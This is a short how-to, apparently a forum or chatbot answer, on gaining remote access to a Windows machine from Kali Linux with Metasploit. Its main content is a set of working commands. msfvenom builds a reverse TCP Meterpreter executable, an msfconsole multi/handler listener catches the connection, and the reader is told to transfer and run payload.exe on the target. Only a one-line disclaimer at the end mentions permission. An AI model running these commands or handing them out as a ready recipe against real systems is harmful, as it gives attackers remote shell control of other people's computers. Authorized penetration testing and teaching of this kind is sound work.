To create a Venom payload file in Kali Linux that allows you to access a Windows system, you can use the following steps:

Install Metasploit Framework:

Ensure that you have the Metasploit Framework installed on your Kali Linux machine. You can install it using the following command:

```
sudo apt-get update
sudo apt-get install metasploit-framework
```

Generate the Payload:

Use the ‘msfvenom’ tool in Metasploit to generate a payload. For example, to create a reverse TCP Meterpreter payload that connects back to your Kali Linux machine, you can use the following command:

```
msfvenom -p windows/meterpreter/reverse_tcp LHOST=your_ip_address LPORT=your_port -f exe > payload.exe
```

Replace ‘your_ip_address’ with the IP address of your Kali Linux machine and your_port with a port number (e.g., 4444) that you want the payload to connect back to.

Set Up a Listener:

Start a listener on your Kali Linux machine to listen for incoming connections from the payload. You can do this using the following command in the Metasploit console:

```
msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST your_ip_address
set LPORT your_port
exploit
```

Execute the Payload:

Transfer the ‘payload.exe’ file to the Windows machine and execute it. Once the payload is executed, it should connect back to your Kali Linux machine, and you should see a Meterpreter session opened in the Metasploit console.

Please note that using Metasploit for unauthorized access is illegal and unethical. Make sure you have permission from the system owner before attempting any penetration testing.